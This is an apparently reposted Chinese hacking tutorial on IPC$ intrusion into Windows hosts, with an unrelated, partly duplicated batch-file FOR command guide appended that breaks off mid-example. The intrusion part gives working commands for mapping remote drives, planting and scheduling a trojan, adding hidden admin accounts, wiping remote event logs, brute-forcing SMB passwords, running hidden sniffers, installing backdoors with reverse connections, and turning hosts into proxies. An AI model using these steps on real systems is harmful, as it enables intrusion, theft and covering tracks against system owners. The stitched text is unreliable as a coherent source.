IPC连接

IPC$是Windows系统特有的一项管理功能,是微软公司为了方便用户使用计算机而设计的,主要用来远程管理计算机的。但事实上使用这个功能最多的人不是网络管理员,而是“入侵者”!他们通过建立IPC$连接与远程主机实现通信和控制。通过IPC$连接的建立,入侵者能够做到:
è 建立、拷贝、删除远程计算机文件;
è 在远程计算机上执行命令。
2.1.1 远程文件操作
1.相关知识
(1)什么是IPC
IPC是英文Internet Process Connection的缩写,可以理解为“命名管道”资源,它是Windows操作系统提供的一个通信基础,用来在两台计算机进程之间建立通信连接,而IPC后面的“$”是Windows系统所使用的隐藏符号,因此“IPC$”表示IPC共享,但是是隐藏的共享。IPC$是Windows NT及Windows 2000/XP/2003特有的一项功能,通过这项功能,一些网络程序的数据交换可以建立在IPC上面,实现远程访问和管理计算机。打个比方,IPC连接就像是挖好的地道,通信程序就通过这个IPC地道访问目标主机。默认情况下IPC是共享的,除非手动删除IPC$。通过IPC$连接,入侵者就能够实现远程控制目标主机。因此,这种基于IPC的入侵也常常被简称为IPC入侵。
(2)关于Windows操作系统的默认共享
为了配合IPC共享工作,Windows操作系统(不包括Windows 98系列)在安装完成后,自动设置共享的目录为:C盘、D盘、E盘、ADMIN目录(C:\WINNT\)等,即为ADMIN$、C$、D$、E$等等,但要注意,这些共享是隐藏的,只有管理员能够对他们进行远程操作。在MS-DOS中键入“net share”命令来查看本机共享资源,如图2-1所示。

(3)DOS命令
下面介绍几个比较基础DOS命令,这些都是DOS中经常使用的命令。
è DIR命令:列出当前路径下的文件,常常用来查看想要找的文件是否在该路径下,如图2-2所示。

è CD命令:进入指定的目录。比如,想进入E盘中的CODE文件夹,则在E:\>下键入“CD CODE”命令,如图2-3所示。

è 常用的net命令:
net user:系统账号类操作;
net localgroup:系统组操作
net use:远程连接、映射操作
net send:信使命令
net time:查看远程主机系统时间
è cls命令:清屏命令。
è netstat -n命令:查看本机网络连接状态
è nbtstat -a IP命令:查看指定IP主机的NetBIOS信息。
2.实例
下面用实例来介绍如何建立和断开IPC$连接,看看入侵者是如何将远程磁盘映射到本地的。通过IPC$连接进行入侵的条件是已获得目标主机管理员账号和密码。
步骤一:单击“开始”→“运行”,在“运行”对话框中键入“CMD”命令,如图2-4所示。

步骤二:建立IPC$连接。
使用命令:net use \\IP\IPC$ "PASSWD" /USER: "ADMIN"与目标主机建立IPC$连接。
参数说明:
è IP:目标主机的IP。
è IPC$:前面已经介绍过。
è PASSWD:已经获得的管理员密码。
è ADMIN:已经获得的管理员账号。
键入命令net use \\192.168.27.128\ipc$ " " /user:"administrator",如图2-5所示。

步骤三:映射网络驱动器。
使用命令:net use z: \\192.168.27.128\c$
参数说明:
è “\\192.168.27.128\c$”表示目标主机192.168.27.128上的C盘,其中“$”符号表示隐藏的共享。
è “z:”表示将远程主机的C盘映射为本地磁盘的盘符。该命令表示把192.168.27.128这台目标主机上的C盘映射为本地的Z盘,如图2-6所示。

映射成功后,打开“我的电脑”,会发现多出一个Z盘,上面写着“C$位于192.168.27.128上”,该磁盘即为目标主机的C盘,如图2-7所示。

步骤四:查找指定文件。
用鼠标右键单击Z盘,在弹出菜单中选择“搜索”,查找关键字“账目”,等待一段时间后,得到的结果如图2-8所示

\然后将该文件拷贝、粘贴到本地磁盘,其拷贝、粘贴操作就像对本地磁盘进行操作一样。
步骤五:断开连接。
键入“net use * /del”命令断开所有IPC$连接,如图2-9所示。

参数说明:
è “*”表示所有的连接。
è “/Del”表示删除。

另外,通过命令net use \\目标IP\ipc$ /del可以删除指定目标IP的IPC$连接。


一些常用的Net命令与例子:

(1)建立IPC连接的命令

Net use \\IP\ipc$ “” /user:username

例如:

Net use \\127.0.0.1\ipc$ 123456 /user :administrator

这个命令的意思就是与用户名为adminidtrator用户密码为123456的主机127.0.0.1建立ipc$空连接

(2) 删除IPC$空连接

Net use \\ip /del

例如:

Net use \\127.0.0.1 /del

删除与主机127.0.0.1已经建立的Ipc$连接

(3) 启动关闭服务:

Net start //查看已经开启的服务

Net start servername

Net stop servername

例如:

Net start telnet //开启telnet服务

Net stop telnet //关闭telnet服务

(4)启动关闭共享

Net shate ipc$ //开启ipc$默认共享

Net share ipc$ /del //关闭ipc$默认共享

Net share c=c:\ //完全共享c盘

Net share d=d:\ //删除完全共享的d盘

(4) 映射硬盘

Net use z: \\ip\c$

例如:

Net use z: \\127.0.0.1\c$ //把127.0.0.1的C盘映射成本机的z盘

说明:映射成功后,你在我的电脑里面里面就会多出一个硬盘Z,其实Z就是127.0.0.1的C盘!

Net use z: /del //断开映射

入侵中的作用:把对方的硬盘映射过来以后我们就能直接复制文件到对方的硬盘下面了

成功实现的条件:必须与对方建立ipc$连接

(5) 远程复制文件_Copy

Copy e:\3389.exe \\127.0.0.1\c$ \\将本地的E盘下的3389.exe这个文件copy到对方系统的C盘根目录下

Copy在入侵中的作用:把本地文件复制到对方硬盘

Copy复制成功所需的条件:必须与主机建立ipc$连接

(6) 查看远程系统的时间

Net time \\IP

Net time \\127.0.0.1 //查看远程主机127.0.0.1的本地时间

作用:得到对方时间好为自己计划任务种下木马做准备

(7) 远程运行程序

At \\ip time server.exe

At \\127.0.0.1 12:30 c:\server.exe \\让主机在中午12:30分运行我们已经复制到他C盘根目录下的木马server.exe

在入侵中作用:这样我们就可以用我们的木马服务端来连接我们木马,,更好的使用图形方式来控制肉鸡.(推荐使用神气儿 ^_^)

(8)添加管理员帐号:

Net user juntuan 1234 /add \\添加一个密码为1234名字为 军团的用户

Net localgroup administrators juntuan /add \\把juntuan这个用户添加到管 理员组

注意:有些系统的管理员组不是administrators你要根据实际情况来改,不过99.9%的系统的管理员组还是administrators的。

修改用户密码:

Net user juntuan 1234 \\把用户juntuan的密码修改成1233。

(9)远程登陆主机_telnet

telnet IP port

例如:telnet 127.0.0.1 1234 //连接登陆127.0.0.1的1234端口

(当目标主机的端口是默认的23的时候我们不需要+端口即:telnet IP 就好)

(10)传输文件命令_ftp

其实这个我个人觉得用途不大,毕竟当你拿到了FTP密码之后你可以用flashftp或者cutftp有一个图形截面的交互如何不好呢?

首先在CMD里面输入ftp

然后输入:open IP port

例如:open 127.0.0.1 1234 //连接登陆127.0.0.1的1234端口

如何开启windows系统自带的ftp服务:

Net start msftppsvc

(11) 查看文件夹的属性_cacls

Cacls xiaod //查看xiaod这个文件夹的属性

参数说明:F:(完全控制)R:(只读)C:(允许更改)W:(允许写入)N:(没有任何权限)

(12) 删除文件_del

Del是用来删除文件命令

首先进入你想删除的文件的目录

Del xiaod.txt //删除xiaod.txt这个个文件

Del xiaod.txt /f //强制删除xiaod.txt这个个文件(当该文件无法正常删除的时候使用该命令)

(13) finger命令

Finger是一个信息刺探命令一般在对方开启了79端口时命令使用

Finger –l user @computer

参数详解: -l 用长列表格式显示消息

User:指定用户的信息

成功实现的条件:对方必须安装tcp/ip协议

(14):文件写入命令_echo:

Echo 你好 > index.htm //用你好来覆盖index.htm的内容

Echo 你好 >>index.htm //将“你好”添加到index.htm

(15):写入注册表文件_regedit

Regedit /s filename.reg //s是写入参数

(16):端口映射_chgport

Chgport 3=5 //将端口3映射到5

Chgport /d* //删除所有端口映射

(17):文件映射_subst

Subst b:\ c:\winnt \\这个时候当你访问硬盘B的时候你就是访问了 c:\winnt目录

(18):查看当前正在使用的帐号:

Query session //查看帐号

(19):踢掉指定用:

Logoff id //注意ID,是在用query session查看到的用户的id而不是用户名。

(20):发送消息给某用户或者内网主机

Net send hostname or /IP message

例如:net send xiaod or /127.0.0.1 hello!

CMD的内部基本入侵命令讲解完毕,现在我们来讲讲他的外部命令,也就是借用外部DOS小工具的方法:

(二)CMD外部一部分小工具的使用方法:

(1) opentelnet:一个在得到对方用户名与密码的情况下远程开启对方telnet的程序

命令语法:opentelnet \\IP username pass ntml port

例 子:opentelnet \\127.0.0.1 administrator 1234 1 3800

开启主机127.0.0.1的telnet服务,并且端口设置在3800(当连接的时候就需要telnet 127.0.0.1 3800了)1是NTML的验证值,就是说,我们需要输入登陆用户名与密码才能登陆。

该命令成功实现的条件:对方没有装防火墙,并且IPC$服务开启

telnet.vbe:一个不基于IPC$是否开启直接开telnet的工具

命令语法:cscript telnet.vbe 127.0.0.1 username pass ntml port

这个与上面哪个opentelnet的使用含义是一样的

该命令成功实现的条件:对方没有装防火墙

(2)Pslist:查看系统进程的工具

Pskill:杀除系统进程的工具

进入工具目录直接输入:pslist即可以查看系统进程如下图:

图中用红色标注的就是PID列表:

Pskill pid如下图片:

显然1560是conime的进程,已经被杀了。

(3)fport:一个查看系统程序所对应的端口的工具

使用方法如下图:

(4):远程删除日志:

Cleanlog.vbe

命令语法:

Cscript cleanlog.vbe IP username pass system –all //删除系统日志

Cscript cleanlog.vbe IP username pass application –all //删除应用程序日志

Cscript cleanlog.vbe IP username pass secutity –all //删除安全日志

使用的优势:无须对方开启ipc$共享

(5):远程开启关闭重启主机:

Reboot.vbe

Cscript Reboot.vbe IP username pass –r //重启目标主机

Cscript Reboot.vbe IP username pass –s //关闭目标主机

Cscript Reboot.vbe IP username pass –I //注销目标当前用户

Cscript Reboot.vbe IP username pass –p //关闭目标电源

使用的优势:无须对方开启ipc$共享

(6):端口重定rinetd and fpipe

首先说说rinetd的使用

首先我们配置一个文件juntuan.txt

juntuan.txt内容如下:

IP1 21 IP2 3389 //释:IP1是主机IP IP2是要接受的内网主机IP,既整个命令的意思是当你连接IP1主机(公网IP)的21端口的时候,主机一(IP1)会把他21端口接收到数据发到内网主机(IP2)的3389。也就是你连接IP1主机的21端口,实际上就是连接IP2的3389端口。

命令:rinetd.exe –c juntuan.txt

工具2:fpipe

使用命令:fpipe –v –l 53 s 53 –r 23 主机IP

例子:fpipe –l 80 –s 90 –r 80 127.0.0.1

释:将本机的80端口接收到的数据通过本机的90端口直接转发到127.0.0.1的80端口

(7):SNMP弱口令的利用:

工具:Snmputil

Snmputil [get|getnext|walk]agent id //语法格式

Snmputil walk 127.0.0.1 xiaod.1.3.6.1.4.1.77.1.2.25.1.5 \\查询帐户

Snmputil walk 对方IP public.1.3.6.1.2.1.25.4.2.1.2 \\查询系统进程

Snmputil walk 对方IP public.1.3.6.1.4.1.77.1.2.25.1.1 \\查询用户列表

Snmputil walk 对方IP public .1.3.6.1.2.1.1 \\列出对方系统信息

该工具的作用:查询一部分系统而已

我个人这个没有很大的作用,查看到了系统信息,要攻破还是需要运气

(8):暴力破解系统密码

Smbcrack

Smbcrack IP username 字典路径 端口

释:首先你需要用字典自己做一个字典,用户名建议是administrator 因为这个是系统默认的管理员估计大多数人的主机这个帐号还是存在的,端口可以是139、137、445系统开启的NETBOIS协议端口就可以!

(9):小巧的嗅叹器_xsniff

Xsniff是一个小巧的嗅叹器,可以嗅叹UDP/TCP协议的信息

使用语法:

Xsniff –pass –hide –log c:\pass.log –pass

c:\pass.log 是保存记录文件,建议选择一个深的目录,可以自定义

性能参数:

-hide 隐藏在后台运行 -log:生成嗅叹的日志文档

Pass.log:嗅叹的日志文档文档名,可以自定义

-TCP:捕获TCP数据包

-UDP:捕获UDP数据包

-ICMP:捕获ICMP数据包

-HOST:主机名或IP地址

-PORT:指定端口嗅叹

-ASC输出出时保存为ASCII格式

(10):SFIND 命令行扫描器

例子:

Sfind –p 3389 192.168.10.1 192.168.10.255

扫描192.168.10.1段的1-255主机的3389端口

Sfind –cgi 192.168.10.1 //扫描192.168.10.1的cgi漏洞

Sfind –ftp 192.168.10.1 //扫描192.168.10.1的ftp漏洞

Sfind –idq 192.168.10.1 //扫描192.168.10.1的idg漏洞

(11):克隆帐号CA:

CA.EXE \\IP administrator “” guest 123

将GUEST帐号克隆成管理员

Administrator 的密码为空用”” guest的密码是123

(12):后门使用:

这里我介绍小榕的bits

说明:BITS必须放在system32目录下才可以安装

安装命令:rundll32.exe BITS.dll install rasato juntuan //指定后门特征为juntuan

连接激活:

正向连接(用nc连接即可):juntuan:@IP[xell]:99

反向连接:juntuan:@IP[rxell]:yourIP:port

卸载:rundll32.exe BITS.dll uninstall

同时也介绍T-CMD

安装命令:

t-cmd –install

然后:telnet IP 20540

就可以了,T-CMD是菜鸟的好选择

(13):系统密码查看_showpass

直接进入showpass的目录直接运行showpass只要当前用户在线,那么showpass就可以把他的密码从内存里找出来。

(14):代理肉鸡的制作_SK

安装命令:

sk.exe –install //安装SK

sk.exe -config port 4999 //设置端口为4999

sk.exe -config starttype 2 //设置启动项为自启动

net start skserver //启动SK代理服务

(15):SQL弱口令利用

我本来在这里不想说这个,但是希望大家能够综合利用所以我就直接说了。(SQL的弱口令大家可以用WINDOWS 2000自动攻击探测器扫描,这个是我的朋友SHANLU的写的,强烈推荐大家使用他,同时也希望辞去工作的SHANLU现在已经找到一份好工作)

Sqlexeca.exe IP sa “’

因为是弱口令,所以用””表示,同时也告诉大家SQL服务器的最高权限帐户是SA,这个是不能更改的!

(16):终端服务的开启与使用

这个恐怕就是菜鸟门最喜欢的话题了一个图形话的交互界面

工具:3389.exe 3389.vbe 3389.bat

方法一:3389.exe:只需要把此文件复制到你所要开启的服务器运行此程序就可以了。

方法二:3389.vbe:这个是一个脚本文件,使用方法如下:

Cscript 3389.vbe IP username pass port /r //密码必须是管理员密码 port是终端的端口,这个是可以自己定义的,参数.r是说明开启成功自动重启动服务器!你也可以使用/fr,FR的意思就是强制重新启动服务器!

方法三:3389.bat:这个是一个BAT文件利用批处理来开3389网络上很多相关资料大家可以参考参考,3389.bat的内容如下:

echo [components] > d:\xiaopang

echo tsenable=on >> d:\xiaopang



sysocmgr /i:d:\winnt\inf\sysoc.inf /u:d:\xiaopang /q

大家可以把上述代码保存一个bat然后放到要开3389的服务器上,在CMD下运行,服务器的3389就开启了。

终端的连接:

这里推荐使用2003或者XP的终端登陆器,如图:



然后系统会提示你输入帐号与密码,输入以后直接登陆就可以了

DOS下执行"chkdsk  /r"命令来修复!

DOS下执行"chkdsk  /r"命令来修复!


//for 命令

【删除目录下某种格式的文件 】
for /r  f:\study %i in (*.o) do del %i

DOS循环:bat/批处理for命令详解之一2010-06-04 22:00格式:FOR [参数] %%变量名 IN (相关文件或命令)    DO 执行的命令    
  作用:对一个或一组文件,字符串或命令结果中的每一个对象执行特定命令,达到我们想要的结果。    
  注意:在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable,而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I.    
  关于:for命令可以带参数或不带参数,带参数时支持以下参数:/d /l /r /f    
  下面分别解释一下    
   
  ===    
  零:无参数时:    
  ---    
  FOR %variable IN (set) DO command [command-parameters]    
  %variable   指定一个单一字母可替换的参数。    
  (set)       指定一个或一组文件。可以使用通配符。    
  command     指定对每个文件执行的命令。    
  command-parameters    
  为特定命令指定参数或命令行开关。    
   
  TTT示例:    
  for %%i in (t*.*) do echo %%i --显示当前目录下与t*.*相匹配的文件(只显示文件名,不显示路径)    
  for %%i in (d:\mydocuments\*.doc) do @echo %%i --显示d:\mydocuments\目录下与*.doc相匹配的文件    
   
  ===    
  一、参数 /d (参数只能显示当前目录下的目录名字)    
  ---    
  格式:FOR /D %variable IN (set) DO command [command-parameters]    
  这个参数主要用于目录搜索,不会搜索文件,/D 参数只能显示当前目录下的目录名字。(TTT特别说明:只会搜索指定目录下的目录,不会搜索再下一级的目录。)    
   
  TTT示例:    
  for /d %%i in (c:\*) do echo %%i   --显示c盘根目录下的所有目录    
  for /d %%i in (???) do echo %%i   --显示当前目录下名字只有1-3个字母的目录    
   
  ===    
  二、参数 /R (搜索指定路径及所有子目录中与set相符合的所有文件)    
  ---    
  格式:FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters]    
  此命令会搜索指定路径及所有子目录中与set相符合的所有文件,注意是指定路径及所有子目录。    
   
  1、set中的文件名如果含有通配符(?或*),则列举/R参数指定的目录及其下面的所用子目录中与set相符合的所有文件,无相符文件的目录则不列举。    
  2、如果set中为具体文件名,不含通配符,则枚举该目录树(即列举该目录及其下面的所有子目录)(并在后面加上具体的文件名),而不管set中的指定文件是否存在。    
  例:for /r c:\ %%i in (*.exe) do echo %%i --把C盘根目录,和每个目录的子目录下面全部的EXE文件都列出来了!!!!    
   
  TTT示例:    
  for /r c:\ %%i in (boot.ini) do echo %%i --枚举了c盘所有目录    
  for /r d:\backup %%i in (1) do echo %%i   --枚举d\backup目录    
  for /r c:\ %%i in (boot.ini) do if exist %%i echo %%i   --很好的搜索命令,列举boot.ini存在的目录    
   
  ===    
  三、参数 /L (该集表示以增量形式从开始到结束的一个数字序列。可以使用负的 Step)    
  ---    
  格式:FOR /L %variable IN (start,step,end) DO command [command-parameters]    
  该集表示以增量形式从开始到结束的一个数字序列。可以使用负的 Step    
   
  TTT示例:    
  for /l %%i in (1,1,5) do @echo %%i   --输出1 2 3 4 5    
  for /l %%i in (1,2,10) do @echo %%i   --输出1,3,5,7,9    
  for /l %%i in (100,-20,1) do @echo %%i   --输出100,80,60,40,20    
  for /l %%i in (1,1,5) do start cmd   --打开5个CMD窗口    
  for /l %%i in (1,1,5) do md %%i   --建立从1~5共5个文件夹    
  for /l %%i in (1,1,5) do rd /q %%i   --删除从1~5共5个文件夹    


DOS循环:bat/批处理for命令详解之一 (史上虽详尽的总结和说明~~)

转自:
http://www.yoyotao.net/ttt/post/137.html
http://blog.csdn.net/weikaifenglove/archive/2009/10/22/4714253.aspx

+++
格式:FOR [参数] %%变量名 IN (相关文件或命令)   DO 执行的命令
作用:对一个或一组文件,字符串或命令结果中的每一个对象执行特定命令,达到我们想要的结果。
注意:在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable,而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I.
关于:for命令可以带参数或不带参数,带参数时支持以下参数:/d /l /r /f
下面分别解释一下
===
零:无参数时:
---
FOR %variable IN (set) DO command [command-parameters]
%variable  指定一个单一字母可替换的参数。
(set)      指定一个或一组文件。可以使用通配符。
command    指定对每个文件执行的命令。
command-parameters
为特定命令指定参数或命令行开关。
TTT示例:
for %%i in (t*.*) do echo %%i --显示当前目录下与t*.*相匹配的文件(只显示文件名,不显示路径) 
for %%i in (d:\mydocuments\*.doc) do @echo %%i --显示d:\mydocuments\目录下与*.doc相匹配的文件
===
一、参数 /d (参数只能显示当前目录下的目录名字)
---
格式:FOR /D %variable IN (set) DO command [command-parameters]
这个参数主要用于目录搜索,不会搜索文件,/D 参数只能显示当前目录下的目录名字。(TTT特别说明:只会搜索指定目录下的目录,不会搜索再下一级的目录。)
TTT示例:
for /d %%i in (c:\*) do echo %%i  --显示c盘根目录下的所有目录
for /d %%i in (???) do echo %%i  --显示当前目录下名字只有1-3个字母的目录
===
二、参数 /R (搜索指定路径及所有子目录中与set相符合的所有文件)
---
格式:FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters]
此命令会搜索指定路径及所有子目录中与set相符合的所有文件,注意是指定路径及所有子目录。
1、set中的文件名如果含有通配符(?或*),则列举/R参数指定的目录及其下面的所用子目录中与set相符合的所有文件,无相符文件的目录则不列举。
2、如果set中为具体文件名,不含通配符,则枚举该目录树(即列举该目录及其下面的所有子目录)(并在后面加上具体的文件名),而不管set中的指定文件是否存在。
例:for /r c:\ %%i in (*.exe) do echo %%i --把C盘根目录,和每个目录的子目录下面全部的EXE文件都列出来了!!!!
TTT示例:
for /r c:\ %%i in (boot.ini) do echo %%i --枚举了c盘所有目录
for /r d:\backup %%i in (1) do echo %%i  --枚举d\backup目录
for /r c:\ %%i in (boot.ini) do if exist %%i echo %%i  --很好的搜索命令,列举boot.ini存在的目录
===
三、参数 /L (该集表示以增量形式从开始到结束的一个数字序列。可以使用负的 Step)
---
格式:FOR /L %variable IN (start,step,end) DO command [command-parameters]
该集表示以增量形式从开始到结束的一个数字序列。可以使用负的 Step
TTT示例:
for /l %%i in (1,1,5) do @echo %%i  --输出1 2 3 4 5
for /l %%i in (1,2,10) do @echo %%i  --输出1,3,5,7,9 
for /l %%i in (100,-20,1) do @echo %%i  --输出100,80,60,40,20
for /l %%i in (1,1,5) do start cmd  --打开5个CMD窗口
for /l %%i in (1,1,5) do md %%i  --建立从1~5共5个文件夹
for /l %%i in (1,1,5) do rd /q %%i  --删除从1~5共5个文件夹 
四、参数 /F (使用文件解析来处理命令输出、字符串及文件内容。)
---
这个参数是最难的,参数又多,先简单的解释一下:for命令带这个参数可以分析文件内容,字符串内容或某一命令输出的结果,并通过设置option得我们想要的结果。
以下是某高手的解释,感觉有点太专业了,自认为不太容易理解,也列一下:
[迭代及文件解析--使用文件解析来处理命令输出、字符串及文件内容。使用迭代变量定义要检查的内容或字符串,并使用各种options选项进一步修改解析方式。使用options令牌选项指定哪些令牌应该作为迭代变量传递。
请注意:在没有使用令牌选项时,/F 将只检查第一个令牌。文件解析过程包括读取输出、字符串或文件内容,将其分成独立的文本行以及再将每行解析成零个或更多个令牌。然后通过设置为令牌的迭代变量值,调用 for 循环。
默认情况下,/F 传递每个文件每一行的第一个空白分隔符号。跳过空行。]
+++
格式:
FOR /F ["options"] %variable IN (file-set) DO command [command-parameters]
FOR /F ["options"] %variable IN ("string") DO command [command-parameters]
FOR /F ["options"] %variable IN ('command') DO command [command-parameters]
或者,如果有 usebackq 选项:
FOR /F ["options"] %variable IN (file-set) DO command [command-parameters]
FOR /F ["options"] %variable IN ("string") DO command [command-parameters]
FOR /F ["options"] %variable IN ('command') DO command [command-parameters]
TTT说明:以上是WinXP系统中的帮助内容,你可以注意到,两者完全相同,这其实是系统的错误,第二段“如果有 usebackq 选项:”应该以下的内容:
FOR /F ["options"] %variable IN ("file-set") DO command [command-parameters]
FOR /F ["options"] %variable IN ('string') DO command [command-parameters]
FOR /F ["options"] %variable IN (`command`) DO command [command-parameters] --(`command`中的引号为反引号,是键盘上数字1左面的那个键)
+++
(TTT说明:下面是详细的解释,大部分是系统中的帮助内容,也有些错误(怪不得for命令这么难学),已经被我纠正了。)
1) OPTION关键字详解:
eol=c:指一个行注释字符的结尾(就一个)。例如:eol=; --忽略以分号打头的那些行;
skip=n:指在文件开始时忽略的行数。例如:skip=2 --忽略2行;
delims=xxx:指分隔符集。这个替换了空格和跳格键的默认分隔符集。例如:[delims=, ] --指定用逗号,空格对字符串进行分隔。
tokens=x,y,m-n:指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的分配。m-n格式为一个范围。通过 nth 符号指定 mth。如果符号字符串中的最后一个字符是星号,那么额外的变量将在最后一个符号解析之后分配并接受行的保留文本。例如:tokens=2,3* --将每行中的第二个和第三个符号传递给 for 程序体;tokens=2,3* ... i%  --将会把取到的第二个字符串赋给i%,第三个赋给j%,剩下的赋给k%。
关于usebackq,不同版本的系统提示不同的帮助,不过都有助于理解,所以都摘抄如下:
(1),usebackq:使用后引号(键盘上数字1左面的那个键`)。未使用参数usebackq时:file-set表示文件,不能加引号,所以不 能含有空格;加双引号表示字符串,即"string";加单引号表示执行命令,即'command'。使用参数usebackq时:file-set 和"file-set"都表示文件,当文件路径或名称中有空格时,就可以用双引号括起来;单引号表示字符串,即'string';后引号表示命令执行,即 `command`。(此段是WinXP系统中的帮助)
(2),usebackq:指定新语法已在下类情况中使用:在作为命令执行一个后引号的字符串;并且一个单引号字符为文字字符串命令;并允许在filenameset中使用双引号扩起文件名称。
以上两条结合着看,其实已经可以明白了,我再说明一下:
其实这个参数的目的就是为了处理带有空格的文件名。如果您要处理的文件名和路径中含有空格,如果直接使用,会提示找不到文件。如果你用双引号将文件名和 路径括起来。这时候将作为字符串处理,而不是作为文件了。为了应对这种情况,所以才增加了这个“usebackq”参数。如果使用了这个参数,对于括号中 的加双引号的集合,系统就可以认为是文件了;真正的字符串要加单引号;命令要加反引号。
2) file-set 为一个或多个文件名。继续到 file-set 中的下一个文件之前,每份文件都已被打开、读取并经过处理。处理包括读取文件,将其分成一行行的文字,然后将每行解析成零或更多的符号。然后用已找到的符 号字符串变量值调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开的第一个空白符号。跳过空白行。您可通过指定可选 "options"参数替代默认解析操作。这个带引号的字符串包括一个或多个指定不同解析选项的关键字。
3) %i:专门在 for 语句中得到说明,%j 和 %k 是通过tokens= 选项专门得到说明的。您可以通过 tokens= 一行指定最多 26 个符号,只要不试图说明一个高于字母 'z' 或'Z' 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;而且,同时不能有 52 个以上都在使用中。
(TTT补充说明:
一般在tokens后只指定第一个参数,如%%i或%%a,在后面使用第二个及两个以上的 参数,自动按顺序往下排即可。如前面指定的是%%a,后面则用%%b代表第二个结果,%%c代表第 三个结果。。。测试了一下tokens后指定多个变量名,没有测试成功,应该是不可以的。所以token后只能跟要使用的第一个变量名
如果使用的变量名超过了%z或%Z,就无法使用了,曾经以为会循环过来:如%%z后可以使用%%a或%%A,但经测试,这是不可以的。
如:for /f "tokens=1,2,3* delims=-, " %%y in ("aa bb,cc-dd ee") do echo %%y %%z %%A %%a --只会输出前两个字符串,后面的两个变量是无效的。)
+++
以下是系统提供的范例:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do @echo %i %j %k --
说明:会分析 myfile.txt 中的每一行,
eol=; --忽略以分号打头的那些行;
tokens=2,3* --将每行中的第二个和第三个符号传递给 for 程序体;
delims= , --用逗号和/或空格定界符号。
%i --这个 for 程序体的语句引用 %i 来取得取得的首个字符串(本例中为第二个符号),引用 %j 来取得第二个字符串(本例中为第三个符号)引用 %k来取得第三个符号后的所有剩余符号。
(TTT说明:上述例子和说明中明显的错误,%i应该换为%%i(帮助中有明确的说明:指定变量请使用 %%variable,而不要用 %variable,误导)
+++
TTT:下面列我做的几个例子:
1,分析文件的例子
FOR /F "eol=; tokens=1,2* delims=,- " %%i in (d:\test.txt) do echo %%i %%j %%k
2,分析字符串的例子:
for /f "tokens=1,2,3* delims=-, " %%i in ("aa bb,cc-dd ee") do echo %%i %%j %%k %%l
3,分析命令输出的例子:
FOR /F "tokens=1* delims==" %%i IN ('set') DO @echo [%%i----%%j]
如果使用了usebackq参数后,命令如下,结果与上面的完全相同。
1,分析文件的例子
FOR /F "usebackq eol=; tokens=1,2* delims=,- " %%i in ("d:\test.txt") do echo %%i %%j %%k
2,分析字符串的例子:
for /f "usebackq tokens=1,2,3* delims=-, " %%i in ('aa bb,cc-dd ee') do echo %%i %%j %%k %%l
3,分析命令输出的例子:(会枚举当前环境中的环境变量名称和值。)
FOR /F "usebackq tokens=1* delims==" %%i IN (`set`) DO @echo [%%i----%%j]
结果大家可以试一下,很容易就明白的。

FOR命令中的变量 
---
FOR 变量参照的替换已被增强。您现在可以使用下列选项语法:
~I         - 删除任何引号("),扩充 %I
%~fI        - 将 %I 扩充到一个完全合格的路径名
%~dI        - 仅将 %I 扩充到一个驱动器号
%~pI        - 仅将 %I 扩充到一个路径
%~nI        - 仅将 %I 扩充到一个文件名
%~xI        - 仅将 %I 扩充到一个文件扩展名
%~sI        - 扩充的路径只含有短名
%~aI        - 将 %I 扩充到文件的文件属性
%~tI        - 将 %I 扩充到文件的日期/时间
%~zI        - 将 %I 扩充到文件的大小
%~$PATH:I   - 查找列在路径环境变量的目录(TTT提示:是环境变量path的目录),并将 %I 扩充到找到的第一个完全合格的名称。如果环境变量名未被定义,或者没有找到文件,此组合键会扩充到空字符串
此外,还可以组合修饰符来得到多重结果:
%~dpI       - 仅将 %I 扩充到一个驱动器号和路径
%~nxI       - 仅将 %I 扩充到一个文件名和扩展名
%~fsI       - 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个驱动器号和路径。 
%~ftzaI     - 将 %I 扩充到类似输出线路的 DIR
在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名比较易读,而且避免与不分大小写的组合键混淆。
(以上是系统帮助的内容)
我们可以看到每行都有一个大写字母"I",这个I其实就是我们在FOR带入的变量,例如:
FOR /F "usebackq eol=; tokens=1,2* delims=,- " %%x in ("d:\test.txt") do echo %%x %%y %%z
这里我们就要把那个x,y,z改成%~fx,%~fy,%~fz。
+++
TTT特例:以下是我根据以上说明作的一个综合的例子,可以直接复制到记事本里,保存为bat格式(c盘下任一目录),运行后,可以直观的看到扩展后的效果。
@echo off
echo ---显示"dir c:\boot.ini /b /ah"
for /f "delims==" %%i in ('dir c:\boot.ini /b /ah') do echo 不扩展变量 %%i
for /f "delims==" %%i in ('dir c:\boot.ini /b /ah') do echo 扩展变量到~fI %%~fi --扩充到一个完全合格的路径名
for /f "delims==" %%i in ('dir c:\boot.ini /b /ah') do echo 扩展变量到~dI %%~di --仅将变量扩充到一个驱动器号
for /f "delims==" %%i in ('dir c:\boot.ini /b /ah') do echo 扩展变量到~pI %%~pi --仅将变量扩充到一个路径
for /f "delims==" %%i in ('dir c:\boot.ini /b /ah') do echo 扩展变量到~nI %%~ni --仅将变量扩充到一个文件名
for /f "delims==" %%i in ('dir c:\boot.ini /b /ah') do echo 扩展变量到~xI %%~xi --仅将变量扩充到一个文件扩展名
for /f "delims==" %%i in ('dir c:\boot.ini /b /ah') do echo 扩展变量到~sI %%~si --扩充的路径只含有短名
for /f "delims==" %%i in ('dir c:\boot.ini /b /ah') do echo 扩展变量到~aI %%~ai --将变量扩充到文件的文件属性
for /f "delims==" %%i in ('dir c:\boot.ini /b /ah') do echo 扩展变量到~tI %%~ti --将变量扩充到文件的日期/时间
for /f "delims==" %%i in ('dir c:\boot.ini /b /ah') do echo 扩展变量到~zI %%~zi --将变量扩充到文件的大小
for /f "delims==" %%i in ('dir c:\boot.ini /b /ah') do echo 扩展变量到~$PATH:I %%~$PATH:i --查找列在路径环境变量的目录,并将变量扩充到找到的第一个完全合格的名称
echo ---以下显示组合修饰符来得到多重结果---:
